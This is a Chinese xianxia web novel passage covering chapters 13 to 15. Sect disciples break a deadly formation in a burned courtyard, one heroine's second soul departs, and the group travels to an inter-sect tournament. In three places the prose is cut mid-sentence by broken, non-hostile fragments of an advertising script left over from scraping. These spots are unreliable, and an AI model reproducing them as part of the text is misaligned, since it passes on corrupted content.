红衣屠夫见到他们,初时一愣,随即恢复常态,笑道:“诸位道友,上次匆忙,我这里还有些雪熊肉,可要?” 石观明面带笑意地走近,鼻尖忽地捕捉到一丝微妙的香气,眉头不禁微微蹙起,“你身上有一股白茶香。” 上次相见,他周身被浓重的血腥气息所笼罩,以至于未能察觉到这股与三师弟身上相仿的白茶香。 江月平审视屠夫片刻,目光转向别处。 徐听晚则缓缓靠近,轻触屠夫面庞,猛然一扯,一张假皮脱落,露出三师弟温乐天的真容。 柳清云收敛笑容,惊讶道:“三师兄?” 石观明像是早有所猜测,皱眉询问:“三师弟,你不是说要去下南城,怎会在此?” 徐听晚惊愕地凝视着手中的假面皮,随着记忆的逐渐清晰,她与识海的记忆愈发契合。 无需过多思索,仅凭那份熟悉感与灵力的敏锐感知,她便瞬间洞悉了此人的真实身份。 温乐天微微侧首,语气坚定地说:“二师兄,你误会了。我回到宗门,发现大家都不在,这才来此寻找大家。” 石观明淡然回应:“哦?你总是找各种理由在外逗留,不愿归宗。” 温乐天目光掠过徐听晚与江月平,露出一丝讶异:“太阳打西边出来了?这两人竟能如此安静的站在一起?” 徐听晚心中明了温乐天回避宗门的原因,他曾为调解大师姐对小师妹的偏见,而遭大师姐斥责。 原本两人交情匪浅,因这事温乐天选择避而不见,躲在宗外。 徐听晚取出一块百年的玄铁,递予温乐天,轻声道:“早要给你的,可你总躲着我,我知道你怕我,但你先别怕。” 温乐天略显尴尬地接过玄铁,勉强笑道:“多谢,大师姐。” 徐听晚心中微动,记忆中,温乐天总是亲昵地唤她晚姐姐。 此刻,不属于她的记忆悄然涌动,识海里的女子声音日渐稀疏。 她仿佛无需刻意回想,便能即刻洞悉一切。 “嗯,笑的真丑。” 徐听晚面无表情,直视温乐天的眼眸。 见他怒意难掩,仍勉强挤出一丝笑容:“大师姐,真是爱开玩笑。” 她轻掩朱唇,笑意难掩:“看他,急了。” 一旁的柳清云,强忍笑意,目光在两人间流转。 温乐天轻叹一声,拱手言道:“师弟还有任务没完成,不和大师姐过多攀谈了。” 徐听晚爽朗一笑,手臂轻搭江月平肩头,道:“我们可以帮你,对吧,小师妹。” 温乐天看着两人,眼眸圆睁,满是讶异。 徐听晚顺势倚靠江月平,手指向他,笑道:“瞧他那模样,仿佛天塌了一般!” 江月平轻声应和,徐听晚心中微讶,未曾想她会如此默契地应和自己的玩笑。 温乐天则摇头晃脑,慌张的看向四周道:“完了,这一定是幻境,我被困在幻境了,师姐,师兄,师弟,师妹快救我,我再也不乱跑了!!” 徐听晚轻笑一声,忍不住在心中感叹,怎么会有比她还抽象的人。 笑声环绕在江月平耳边,呼吸连同心跳。 穿着太厚,只感到暖。 温乐天引领众人步入一处四方院落,院内景象触目惊心,全都是被烈焰吞噬后的焦黑痕迹。 一路上,他目光不时在大师姐与小师妹间游移,满是好奇。 他悄然贴近江月平耳畔,轻声细语:“小师妹,若你被威胁了,就眨眨眼。” 徐听晚见状,迅速出手,一把揪住温乐天的衣领,轻轻一拽,同时向石观明投去一个眼神。 石观明左右开弓,一手抓着柳清云,一手稳住温乐天,这才平稳的到达此地。 “此地怎么变成这样的?”徐听晚望着满目疮痍的院落,不禁问道。 温乐天摇头叹息:“我亦不解其中缘由,据传一夜之间,院内之人皆无声无息逝去,随后一场大火将其化为灰烬。” 江月平闻言,眼神微颤,旋即强作镇定,努力平复内心的波澜。 徐听晚直接问道:“那你接的任务内容是什么。” 众人纷纷散开进行探查。 温乐天手持小巧围棋盘,走到一处建筑旁每五米便以黑子标记上,边布边言:“周围人说这里闹鬼,我看了一下房屋布局,确实是聚凶,封魂之方位,现在老是有不懂阵向之人建一些穷凶极恶的院落,真是不怕死。” 徐听晚目光掠过一根木桩上的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 交错剑痕,心中开始有了猜测。 江月平则在油灯废墟间寻得一纸碎片,其上“江医馆”三字令她惊愕,她谨慎地将碎片收入储物袋中。 柳清云不解,向徐听晚询问:“大师姐,如此大规模的杀戮,为何邻近住户竟未察觉?” 徐听晚沉吟片刻,答道:“上古禁声符,幻境阵法,魔修毒药与修为高者瞬杀都可做到。” 柳清云惊呼道:“瞬杀?!这里大约看痕迹死了有三四十人,这得多高修为的人能做到。” 徐听晚深思道:“若这三四十人都没修为,想要瞬杀这么多人,也得炼虚初期的修为。” “人濒死之际都会有一瞬间的意识,发出惨叫,但瞬杀是摧毁,是连尸体都不会存在的消灭,需要极高的灵力掌控。” 柳清云询问道:“那现在天河大陆有人能做到瞬间杀死这么多人吗?” 徐听晚沉吟片刻,答道:“姜掌门可以做到,但你看这地上掉落的灵剑就有十把,证明他们都是有修为的人,所以瞬杀是不可能。” 柳清云颔首,道:“那就只有另外三种方法了。” 徐听晚手指轻触木桩上错综复杂的剑痕,分析道:“也不会是魔修,你看这交错的剑痕,这代表两方是有争斗的,如果是魔修下毒,不可能有这样的痕迹。” 江月平目光聚焦于徐听晚,似在深思,随后问道:“有上古禁声符与会幻境阵法的宗门世家有那些?” 徐听晚直言不讳:“上古禁声符几乎没见过了,符修吴家,符修的沧澜宗和踏仙宗都有会阵法之人,只是这幻境阵法盘也挺容易买到的,只要有了这个阵盘,谁都可以开启幻境阵法。” 江月平闻言,眼帘微垂,轻声应和。 徐听晚见状,心中了然,她应该是正在思考自己家那场惨绝人寰的灭门之祸。 虽然她看了小说的前半部分,但对此知之甚少,徐听晚也没办法帮她。 温乐天猛然大喊:“各位,请让一让!” 话音未落,他手中已悬浮起一个小型围棋盘。指尖微动,白子跃动,与建筑相连的黑子跟随移动。 他轻轻一推,中央的古井竟被缓缓推移至一旁,房屋布局随之悄然改变,唯有部分损毁严重的屋舍,依旧孤零零地矗立原地。 徐听晚的目光被一处废墟中的微光吸引,环顾四周确认无黑子布防后,她缓缓靠近。 拾起一枚吊坠,轻轻拂去其上尘埃,九颗玉珠相互碰撞,发出清脆声响。 金丝线垂落,质感厚重,光线在其间穿梭交织,犹如萤火般环绕玉珠。 温乐天完成布局,释放灵魂之际,笑容满面地转向徐听晚,却瞬间神色大变:“九玉缠金吊坠?大师姐!” 随着周围灵魂的彻底解脱,徐听晚只觉背后涌起一股寒意,紧接着,一道阵法悄然升起,笼罩四周。 徐听晚迅速抽出了判决剑,猛攻眼前的阵法,却发现无法突破而出。 此刻,她手中的九玉缠金吊坠悄然升起,缓缓散发出柔和而坚定的金光。 这金光逐渐凝聚,最终幻化成一支精致的符笔,直指她紧握的判决剑。 符笔猛然俯冲,其携带的威压让徐听晚身形一滞,动弹不得。 她只能眼睁睁地看着这支符笔精准地击中判决剑,将其击飞。 13.悲秋笔 符笔悠然悬停于徐听晚眼前,最终轻巧地落入她掌心。 她紧握此笔,目光中满是好奇,细细端详。 蓦地,符笔用灵力禁锢她的手腕,引领着她,在虚空中勾勒出三行字迹: “吾乃悲秋。 持吾以破此阵。 三时辰内若未解,共赴黄土同眠。” “大师姐!”柳清云焦急地趴在阵法边缘呼唤。 温乐天一把揪住他的衣襟,挑眉道:“你不是反大师姐联盟的人吗?而且急也无用。阵法之事,唯大师姐精通,我们忧虑亦是无济于事。” 江月平取出寒霜笔,轻触阵法边缘,两笔灵力交锋,两者都是实力相当的上古符笔,却因契约者修为差距,寒霜笔败下阵来。 然而,正是这短暂的碰撞,让阵法的一角显露,徐听晚据此迅速推断出了阵法的完整方位。 徐听晚拾起自己的剑,轻巧地将其收入储物袋中。 她端坐于废墟之上,取出一本空白的草稿本,依据识海中女子的指引,在本子上专注地勾勒与涂写。 破解阵法,唯三法子: 一寻觅阵心,强力打碎; 二修为深厚,强行突破; 三设立阵法,相互抵消。 阵心九玉缠金之吊坠,直接暴露在她面前,可她没有办法。 此阵心灵力强悍,她根本无法打碎。 徐听晚先是将阵法的八卦方位一一绘于纸上,随后遵循识海中女子的话,将八卦符咒逐一安置于既定位置。 “震雷,兑泽,阴阳两极……” 柳清云望向江月平,疑惑道:“大师姐在说什么?”鉴于小师妹与大师姐共习阵法于师娘,他觉得小师妹应略知一二。 不料,江月平轻轻摇头:“阵法书我还没来得及去细看。” 柳清云蹙眉:“可你不是都跟师娘学了三年了吗?” 温乐天适时插话:“好啦,师娘就那样,当初我去问师娘八相之术与八卦阵法,也是什么都没说,最后还是我待在藏书阁三月自学的。” 柳清云心中十分惊讶,原来大家都知道师父与师娘的为人,只有他不知。 身为丹修的他与师父和师娘的接触较少,没想到他们行事竟如此刻薄。 温乐天边操作书卷留影石录像提交任务,边简述阵法之道:“破阵之道,在于阴阳平衡,相生相克。每阵皆有主卦,寻其相克之卦布阵压制,即可破之。” “只是强阵主卦多变,稍纵即逝,就需重新寻觅。” 柳清云好奇:“你这么懂,怎么不去帮大师姐看看。” 温乐天轻敲他额头道:“别看我说的这么轻松,阵法之术这可麻烦了,我只是知道大致的卦象,布阵破阵之术,只是因八相之术而有所涉猎。” 柳清云皱眉叹息痛捶胸口:“大师姐,你只能自己努力,师弟无用啊!” 温乐天大笑道:“许久不见,四师弟,比我都要夸张了。” 徐听晚疑惑的侧头看了两人一眼,随后轻笑一声,其实识海女人讲的她已经全部懂了,只是第一次操作可能会不熟练。 江月平拽着两人衣领将其扯远,“安静别吵。” 她紧蹙着眉头,目光如炬地凝视着阵法中灵力的微妙波动。 能看见灵力的她,能够轻而易举地捕捉到阵法变化的每一个细微之处,一旦有所发现,便能立即告知大师姐。 柳清云被江月平冰冷低沉的声音吓一跳,石观明拍了拍他的肩膀道:“确实要安静一些,不要打扰大师姐思考。” 他的声音轻柔平和,柳清云捂住嘴巴眨了眨眼道点了点头。 他在心中感叹,他们这亲传五人,二师兄的礼仪确实是最好的。 温乐天淡然自若地从储物袋中取出一包油纸包裹,缓缓揭开,露出下南城地方代表的糕点——云片糕。 柳清云眼前一亮,迅速拈起一片送入口中,咀嚼间笑道:“你真跑下南城去了?” 温乐天轻轻侧身,护住剩余糕点,佯装不悦:“我何时对你们撒过谎?” 石观明闻言,侧目深望了他一眼,随即目光又落回阵法中的徐听晚身上,看似什么都没说,实则什么都说了。 柳清云意犹未尽,未加反驳,笑吟吟地请求:“再给我些吧,我把良心暂且放一边,说些好听的。” 温乐天斜睨了他一眼,轻哼一声:“你们真是有点子过分了。” 思索一番,他还是将云片糕递了过去,“说来听听,什么好听的。” 柳清云毫不客气地取走大半,嬉笑道:“好听的,好听的,好听的。” 望着远处偷笑的柳清云,温乐天摇了摇头,苦笑不已,未曾想自己也有被捉弄之时。 徐听晚略显紧张地紧握着悲秋笔,细致地勾勒出八卦符咒,精准地将其安置于东南巽位、西南坤位、东北艮位及西北乾位,巧妙地稳固了侧四象的方位。 随着侧四象的最终定位,主四象的布置便需更为精细无误。 她深吸一口气,目光不经意间掠过温乐天手中的云片糕,心中忽有所感。 随即,她以指捻符咒,以身躯为尺,精准丈量,迅速锁定正四象的平行定点。 动作一气呵成,她将八卦符咒猛然甩出,完成阵法设立。 一瞬之间阵法仿佛被激活,瞬间狂风骤起,一道凌厉的风刃猛然袭来。 徐听晚身形一展,轻盈后跃,险之又险地避开了攻击。 此阵有误,显然并非破阵之法。 她深知,问题并非出在推演之上,而是阵法本身已生变化。 原本她布下的是泽兑主卦之阵,应对推演所得的雷震主卦之局,但此刻,风巽卦触动,遵循着相冲的原理,阵法应该是变化成了天乾主卦之阵。 面对这突如其来的变化,徐听晚身形如风,灵活穿梭于风刃之间,既要防备阵法的攻击,又要寻找机会重新布阵。 “麻烦了。”石观明眉头紧锁,沉声道。 “大师姐,当心!”柳清云惊呼,眼眸圆睁,只见一道凌厉的风刃不偏不倚地击中了徐听晚未来得及撤回的小腿。 风刃见血,仿佛被鲜血激活,更加肆虐。 温乐天收敛了往日的嬉笑,眉头轻蹙,神色凝重。 “大师姐,风巽卦性阳,应避免与阴卦接触。”他目光如炬,紧盯着阵法,思维飞速运转。 柳清云心急如焚,透过阵法缝隙,紧盯着大师姐的伤口,诧异道:“这风刃竟在伤口上徘徊,阻碍愈合,仿佛还在撕扯伤口!” 遵循温乐天的建议,徐听晚迅速转移至阳卦区域,果然,那些原本锁定她的风刃减少了许多,局势稍缓。 识海女子的声音骤然严厉:“去东北,山艮卦之向!” 徐听晚尚未来得及有所动作,小腿的剧痛已令她身躯颤抖,反应迟缓。 她眼前一花,女子已现身于前,融入其身,于识海中低语:“别逞强了,让我来,仔细看,仔细学!” 霎时间,徐听晚眼神一变,悲秋笔握于手,数张符纸自储物袋中疾飞而出,其速如电,一张艮卦符咒转瞬而成,被她精准地甩向东北方位。 一道山墙拔地而起,识海中的徐听晚不禁惊叹出声,这八卦符咒之精准,实乃罕见! 她迅速翻身,藏于山墙之后,柳清云急奔而来,高声呼喊:“大师姐,快取大些的手帕,将此处——对,正是大腿之处,紧紧绑住,以免失血过多!” 他边说边在自己身上比划,解释得既快又清晰。 徐听晚望向他,略显尴尬地道:“多谢,四师弟,你很聪慧。” 言罢她勾嘴一笑,像是道别。 闻言,柳清云眼眸闪烁,起身而立,目光无措的盯着徐听晚。 在他的记忆中,大师姐一直很厉害,很严苛。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 很奇怪的感觉,就像她真心在夸他一样。 好像是真心在夸他,对吧。 他反复在心中确认,手不自觉地摸向后脖颈,触摸间才发现自己全身滚烫。 识海中,徐听晚凝视着漫天飞舞的符纸,心中不禁感慨。她虽能以灵力驾驭符纸,助其绘制符咒,但这些符纸对于她来说,有些遮蔽视线,只有绝对自信的判断力和洞察力才能做到如此。 明白她心中所想的女子,在识海中轻声细语:“我学了一辈子的东西,若不及你这初出茅庐者,岂非笑话?” 她跃出山墙,反手攥住一张刚绘就的离卦符咒,欲布阵法,却被江月平厉声制止。 “阵法已变!是最开始的主震卦布局!” 江月平虽阵法知识有限,却敏锐察觉,此刻灵力流向与初阵无异。 徐听晚犹豫片刻,是否该信江月平之言。 识海深处,徐听晚的声音坚定响起:“信她!” 此刻若再失误,必将引发另一轮卦象攻势。 徐听晚果断挥臂,换持一张兑卦符咒,主卦——兑卦,阵心——悲秋笔,设阵而起! 最终,她选择了相信江月平,相信自己。 风刃再度袭来,徐听晚敏捷翻身避过,但兑卦于阴,风刃数量骤增,小腿的伤让她左腿略显僵硬。 石观明储物袋中的浅云猛然腾空,发出震耳欲聋的龙啸,直击阵法。 龙啸蕴含威压,竟使风刃速度减缓。 石观明虽看似无恙,实则已耗尽灵力,面色苍白,汗水淋漓。 浅云告诉石观明龙啸能缓风刃,只是极耗灵力且有可能效果甚微。 因契约兽之力与主人灵力息息相关,有可能耗尽灵力也没什么效果。 但到这千钧一发之际石观明不得不试一下。 风刃因这龙啸短暂延缓,恰好悬于徐听晚胸前,随后阵法消散。 她望向江月平,心中涌起异样。 识海之内,徐听晚惊觉魂魄似有所凝实。 “江月平,当初我夺你寒雪笔,是因为觉得你不配,希望你往后好好学,别辜负这上古符笔。” 识海里的徐听晚叹气一声,怎么又这般话语刻薄。 随后她看向温乐天道:“疯小子,喜欢耍些小聪明,别到最后聪明反被聪明误。” 视线略过石观明她什么都没有说,只是稍稍停顿。 最后她转过身轻言:“知我罪我其惟春秋!” 言罢,她在识海对徐听晚道:“我骗你的,我帮不了你三次了,往后你想办法好好活着。” “希望你能爬上最高处,拿着判决剑站在父亲与母亲面前,揭露他们的真实面孔和所作所为。” “记住,当年和石观明看见那场谋杀,现在一定不能说出来,就算你是他们的女儿,他们也不会放过你。” 徐听晚睁大眼睛,一切发生的太快,识海里空空如也,唯余她孤身一人,手执悲秋笔,立于天地间。 她已忘记要为刚才刻薄的话给江月平道歉。 现在的她只反复在识海呼唤自己的名字,这种感觉很奇怪,魂魄补全,心却缺了。 徐听晚脸色苍白神色恍惚,柳清云见状,面色凝重地走近,轻轻蹲下,细心地为她处理小腿上的伤口。 疼痛如潮水般涌来,让她瞬间清醒,无助地蹲下身,泪水在眼眶中打转,这伤痛刚好为她提供了一个脆弱的借口。 温乐天一脸忧虑地围拢过来,嘴上却不忘打趣:“我还以为咱们大师姐,就算斧头劈在脸上也不会掉一滴泪呢。” 此时,石观明储物袋中的书卷轻轻作响,他打开一看,是师父传来的消息:“玄天剑宗秘境对决,定于三月后举行,尔等可就地等候,无需急于归返。” 江月平缓缓向徐听晚走去,却在半途蓦然驻足。 心中陷入偏执:她是觉得我太弱了吗? 14.冻结 鉴于要长住三月,徐听晚果断在北城购置了一处拥有六室的雅致院落。 连日来,徐听晚寡言少语,情绪低沉,不是蜷缩在柔软的榻上休憩,便是沉浸于阵法书,旁若无人。 放在她旁边桌子的上的九玉缠金吊坠已经认她为主,却未曾被主人触碰。 与此同时,江月平也是早出晚归,忙碌不已。 温乐天深感无趣,转而与柳清云对弈,奈何柳清云棋艺不精,十分无趣。 而棋艺尚可的石观明,则选择在徐听晚身旁,同她一起安静的待在一处。 温乐天烦闷之余,开始提笔描绘柳清云研读医书的专注模样。 自徐听晚一句夸赞后,柳清云便对医书爱不释手,仿佛成瘾。 石观明合上手中的识兽册,沉声对徐听晚说:“你近来愈发像儿时那般,不开心时便沉默以对,只是那时是静坐凉亭望水,如今换成了躺在软榻上看阵法书。” 徐听晚陷入自我思绪,内心的忧伤无人能解,亦无处倾诉。 即便倾诉,恐怕也难以得到共鸣。旁人只会不解说:融合了另一个灵魂,不是一件开心事吗? 她自己也困惑不已,为何会心生烦闷,胸口仿佛压着巨石。 不用担心被女主超过修为,不用担心被吞噬,她为什么不开心呢? 徐听晚并未接茬石观明的话语,佯装未闻,目光专注地落在手中的阵法书上,指尖轻轻摩挲着书页的边沿,显得心不在焉。 石观明嘴角挂着一抹浅笑,自顾自地继续说道:“乐天和清云那边过于宁静,有些不正常,我出去看看。” 他的声音沉稳有力,周身散发出的气质,如他身着的洁白云绣长袍一样干净。 徐听晚的目光不经意间掠过他的背影,心中泛起涟漪,记忆中的石观明,儿时并非如此模样。 那时的他,木讷而冷漠,孤僻得仿佛与世隔绝,只与契约兽浅云说话,对旁人不理不睬。 直到一日,外门弟子因一本散修所写的神兽典籍蛊惑,竟将他与浅云绑至后山,妄图逼出浅云以食龙肉,幻想得道成仙。 面对群殴,石观明孤立无援,浅云实在忍不住出手,一一击退恶徒。 回想此事,掌门师父似乎是想借这个机会,将石观明除掉,把浅云占为己有。 因为明明这事最开始并不大,就要和解时,那几人突然说自己受了重伤,最后闹到了惩戒台。 因为石观明性格孤僻,根本没人听他说话。 浅云当时被绑在柱子上,差点就要受罚。 关键时刻,徐听晚发现那几人在装病,将其揭发,还了浅云和石观明的清白。 从那之后石观明便一直粘着她,并与所有的人都打好关系,不说都是极好的关系,至少表面上都是好的。 其实徐听晚之所以揭穿那几人装病,并非是想要替石观明证明清白。 是因为他们擅长逢迎,对她言听计从,所以她当时与那几人关系好,想拉他们一起来练剑,结果发现他们是在装病,便跑过去揭发了他们。 那时,她满心想在父亲面前展现自己练剑的勤勉与专注,便当众揭穿那些装病者来彰显自己。 忆及此景,徐听晚嘴角不禁微扬,但随即又因后续之事而收敛笑容。 回到院落,满心期待被夸赞的她,却因画符时的疏忽大意,遭到了父母严厉的责罚。 至于那几位装病之人,则悄然间失去了踪迹,仿佛从未存在过一般。 石观明一出去,便见温乐天身着红衣金冠,正凝神静气地描绘着玉兰树下的柳清云,他悠然坐于木椅之上,斜倚椅背,姿态闲适。 他心中一宽,悄然走近,细细观赏起温乐天笔下的画作。 五人之中,唯他与柳清云不擅丹青,其余三人皆擅长作画。 即便不通画理,石观明亦能感受到温乐天此画不凡,极其仿真。 “二师兄!”柳清云猛然抬头,目光中满是惊喜,望向石观明。 “大师姐,心情可好些了?”他关切地问道。 温乐天闻言,猛然抬头,手中的画笔轻轻搁下。“大师姐心情好了!”他惊呼道。 石观明欲言又止,最终只是微微一笑,未再多言。 他可什么都没说。 随后,二人兴冲冲地奔向徐听晚的居所。 温乐天兴奋提议:“我们去捕些鳕鱼来尝尝吧!” 柳清云紧随其后,补充道:“鳕鱼不仅能滋养灵力,还有美容养颜之效,据说其肉质之鲜嫩,远胜上次我们所食的雪熊肉百倍!” 徐听晚抬眼望向两人,眉头微蹙,随即侧目瞥见远处静立的石观明。 察觉到她的注视,他轻轻转头,目光移向了院中那株盛开的玉兰树。 在两人满含期待的目光注视下,徐听晚缓缓坐直了身子,心中正盘算着正好试验一番自己新学的阵法。 “走吧。” 她的声音略显沙哑,许久未曾言语的缘故。她轻咳几声,提醒道:“别忘了给小师妹传讯,告知我们去捕鳕鱼了。” 柳清云狡黠一笑:“大师姐,你传不就好了嘛。” 徐听晚眉头轻皱,反驳道:“我并未加她书卷。” 柳清云拦下欲发消息的温乐天,催促徐听晚道:“你先打开书卷看看嘛。” 徐听晚无奈叹气,取出书卷展示:“你看,我确实没加小师妹……”话未说完,她突然愣住了,惊讶地发现自己书卷中竟有四个联系人:石观明、姜满掌门、柳清云,以及江月平! 柳清云得意地笑道:“惊不惊喜?” 温乐天惊讶地看着她,问道:“你们是如何在本人不知情的情况下,加入书卷的?” 柳清云拍了拍他的肩膀,解释道:“是二师兄帮的忙。” 温乐天面露不悦:“大师姐,我也要加。” 徐听晚凝视着书卷,心中暗自思量,总觉得自己在单方面付出热情,却得不到相应的回应。 她始终心存疑虑,不确定他们是否真心将她视为朋友。 毕竟,他们对她的帮助似乎总能找到合理的解释——只要石观明在场,他随时能将她的情况传回宗门,他们便不敢坑害于她。 因此,她选择相信他们的所有话。 过往误会真的消散,徐听晚突然感到一阵迷茫,不知所措。 这时,一卷书卷轻轻递到了她的面前。 温乐天带着几分急切与不满,望着正发呆的徐听晚:“大师姐!你不会所有人都加,偏 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 偏不加我吧!” 徐听晚回过神来,连忙安抚道:“不会,我给江月平发个消息。”说完,她迅速发完消息,随后加上了温乐天的书卷,微笑道:“好了。” 柳清云见状,激动道:“那我们出发吧!” 与此同时,伤痕累累的江月平,静静地躺在冰冷的石棺之上,缓缓拿出发出响动的书卷。 眉眼温柔的看着徐听晚传来的讯息,她轻拭去指尖的血迹,简短地回复:“好的。” 黑暗中,一道看不清面孔的虚影悄然浮现,她腰间悬挂着九玉缠金的精致吊坠,手中紧握着寒光凛冽的长剑。 这吊坠,源自上古时期的留影石,非但可封存主人的灵力作为应急之用,更承载着主人的意志与传承,其珍贵程度,足以位列上古灵器之首,世间仅此两串。 相传,这吊坠是万年前兰家家主赠予挚爱之人的定情信物,后流转至五行道宗第五百二十代亲传弟子手中,伴随着两位亲传的失踪,这吊坠也再无踪迹。 虚影并未动用长剑,而是冷漠地一脚将她踹飞,江月平踉跄几步,捂住胸口,喘息不止。 她重返这片被烧毁的院落,是想找寻写有江医馆残页的线索,不料被那口古井吞噬,落入一座庞大的墓穴之中。 “呼救无用,来者皆杀。”虚影扼住她的咽喉,轻易夺下她腰间的五行道宗令牌,在手中随意翻转。 “如今的亲传弟子,竟如此不堪一击?” 江月平低头不语,剑伤遍布她全身,鲜血染红了衣襟。 虚影退后一步,冷冷道:“一个时辰的休息时间没到,时间到后我们再战。你只有打赢我才能离开。” 江月平以剑为杖,艰难移至冰棺旁,那冰棺具有止血疗伤的奇效。 她沉声道:“我无需求助,自会亲手击败你。” 虚影轻蔑一笑:“那我便拭目以待。” 四人捕完雪鱼归来,徐听晚望着漆黑如墨的院落,眉头轻蹙。 “月平还未归家吗?”她轻声自语,夜色中寒风夹杂着雨雪,更添几分寒意。 徐听晚心中忧虑,连连发送书卷消息,却始终没有回信。 温乐天执意展现厨艺,携同石观明与柳清云在厨房忙碌。 厨房里,杀鱼剔骨的活计让柳清云连连叫苦。 徐听晚手持油纸伞,提着灯笼立于门扉,江月平未复消息,让她心中忐忑不安。 云空遮月,四周漆黑,唯她手中灯笼散发光芒,照亮一方。 已经夜深,江月平仍未现身。 此时,温乐天的呼唤打破了宁静:“大师姐!” 三人精心烹制的鱼肴已就绪,但江月平的身影依旧未至。 徐听晚侧首,只见一抹红影拿着断刃之剑,自左侧缓缓行来。 街巷空旷,唯余此盏孤灯。 江月平双眼通红一片,视线时明时暗,全凭记忆走回。 寒风肆虐,徐听晚只能用灵力点燃灯火,淡紫灵力环绕在旁。 感受到那抹熟悉的灵力波动,她踉跄着向光亮靠近。 模糊的视线中灯笼落地,她跌入了一个温暖的怀抱。 她虽从墓穴中生还,却险些丧命于这凛冽寒风之中。 “月平!” 15.秘境对决 三个月的休整时间转瞬即逝。 徐君彦向石观明发送信息,催促他们即刻前往玄天剑宗会合。 途中,柳清云提出疑问:“大师姐,你为何未加师父的书卷?” 徐听晚轻轻摇头,解释道:“父亲和母亲我加的另外一个书卷,他知我鲜少去看书卷,所以当二师弟在我旁边,便会向二师弟传递信息。” 温乐天闻言挑眉:“为何要用两个书卷?” 徐听晚与石观明相视一笑,后者随即说明缘由:“有次她误将发给我的信息发至师父那,因此被罚剑冢闭关一月。” 柳清云闻言蹙眉:“剑冢一月?是否过重?” 温乐天挑眉新奇追问:“是何信息?” 徐听晚忍俊不禁,笑声清脆:“哈哈,我发的是:‘二师弟,昨夜我见父母争执,母亲咬了父亲一口。’” 温乐天秒懂的眯眼大笑,柳清云则略显尴尬,低声自语:“此言何至于此重罚?” 徐听晚闻言,望向石观明,再次忍俊不禁。 江月平沉默的将一切看在眼里,她伤势未愈,便与徐听晚共乘一剑,而其余三人则悠然立于时下最潮的飞行灵器——古折扇之上。 她轻抚腰间与徐听晚同款的九玉缠金吊坠,随后轻捂手腕,微哼一声。 徐听晚闻声,迅速转头望向身前的江月平。 “月平,可是剑伤又发作了?”她关切地将她揽入怀中,仔细检查。 “只是稍有刺痛,并无大碍。”她轻声回应。 柳清云闻言,连忙调整飞行轨迹,靠近过来。“小师妹,如果这么久了还有不适,可要重视。可能是经脉灵力受阻的重伤后遗症。” 江月平轻轻摆手:“只是方才忆起当时情景,连疼痛也一并被唤醒了。” 柳清云理解的点了点头,感慨道:“那时真是吓人,你满身鲜血,腰间挂着吊坠,背负长剑,手上血肉与断刃剑柄粘连在一起,剑痕遍布全身,大师姐给你上药整理,用了一夜时间。” 温乐天收起平日的嬉笑,认真地说:“这样的经历太过凶险,但高风险往往伴随着高回报。” 石观明语气平和地反驳道,“还是少遇为妙,安全至上,修为可以通过自身修炼日积月累。” 江月平看了石观明一眼,旋即目光收回,语气平静地说:“多谢师兄们的关心。” 温乐天故作不悦,拨弄着头顶金冠的红绳穗,笑道:“这般客气,搞得像我们是表师兄妹一样。” 柳清云眨了眨眼睛疑惑道:“还有表师兄妹的说法?” 温乐天嫌弃道:“四师弟你懂不懂幽默啊,这只是比喻。” 柳清云轻哦一声,作为回应。 石观明眨了眨眼,刚才小师妹是不是瞪了他一眼。 “五行道宗登场!” 徐君彦领着徐听晚五人走进玄天剑宗大殿。 一时之间所有目光聚集过来,这里来的全是各宗亲传和掌门。 还有玄天剑宗安排的书卷录像人员,在书卷上现场直播。 亲传之间相互攀谈,掌门之间也在互相寒暄。 徐听晚看着孟鹤朝她们缓步而来,以为他是为小师妹而来,不料他却径直停在她面前,轻声询问:“合作吗?” 周遭氛围霎时微妙,众人不约而同地投以窥探的目光,空气中弥漫着微妙的静谧。 徐听晚淡然一笑,婉拒道:“不必了,若我们联手,其他人玩什么?” 此言一出,四周顿时沉寂,所有人的视线聚焦于徐听晚,眼神中交织着复杂情绪——厌恶、欣赏、嫉妒、好奇、不屑与惊讶,种种情感交杂。 书卷论坛已然沸腾,热议如潮。 时隔五十年重新开启的各宗亲传秘境对决,吸引了无数目光的聚焦。 论坛之上,匿名的各路人通过亲传弟子腰间象征身份的令牌识人,然后展开激烈的讨论: “看见五行道宗的人,我只有一声哇!” “五行道宗大师姐好狂啊,我好喜欢!! “我觉得小师妹更有感觉。” “我和你们都不一样,我觉得沧澜符宗的小师妹,那清丽脱俗的模样,简直太萌了。” “各位照照镜子吧,还点评起别人来了。” “我就爱点评,就要点评!我本身就无能,还不许我借点评他人寻点乐子?” “……” “!?” “哈哈哈哈哈!你真是个实在人。” “你们有没有觉得啸海兽宗的宗服像个紫茄子。” “哈哈哈,别说,啸海兽宗的宗服确实难看,好在他们长的都不错,不然感觉和旁边的亲传格格不入。” “听说他们重新找了一个商户做了一套宗服,对了,我还听说西南城那边连续死了好多人。” “啊!我朋友刚去那里。” “这也太吓人了吧。” …… 温乐天舒展了一下筋骨,环顾四周静谧的人群,轻声自语:“如此安静,我还以为已经开始,大家都走了,没人叫我。” 言毕,他又趴在桌上,开始浅眠。 连日来,柳清云一直拉着他,要他帮忙抽背。 “鼠草。” “此草叶卷而茂密,散发恶臭之气,妖兽闻之即避。无鼻白鼠常居其下,单食此草,量少致痛觉麻痹,量多直接昏死。它是炼制止血丹、复灵丹、遗忘丹等丹药不可或缺的材料。” “……” “……” 现在温乐天一听柳清云的声音便感头疼,许多灵草灵花的效用,他都记住了。 “困成这样?” 温乐天闻声抬头,眼前是一位身着玄天剑宗白色宗服的女子,正以不解的目光审视着他。 他愕然注视女子的容颜,最终目光定格在她腰间悬挂的令牌上——玄天剑宗亲传三弟子,陆若音。 “我们认识吗?你说这话?”他反问,语气中带着几分戒备。 陆若音凝视他的眼眸,似乎在努力回忆:“我们……是不是见过?”她轻问,银冠上的流苏随着她微微前倾的动作轻轻摇曳。 “并无。”温乐天断然否认,摆手间,一股熟悉的白茶香气悄然飘散,钻入陆若音的鼻尖。 “是你!肯定是你,那卖假货的奸商!”她突然激动起来。 这时,柳清云闻声而来,挨着温乐天坐下,关切地问:“发生何事了?”他先是疑惑地望向温乐天,随即目光柔和地转向陆若音,“陆道友,我师兄怎么会骗你?不妨细细道来,或许有误会。” 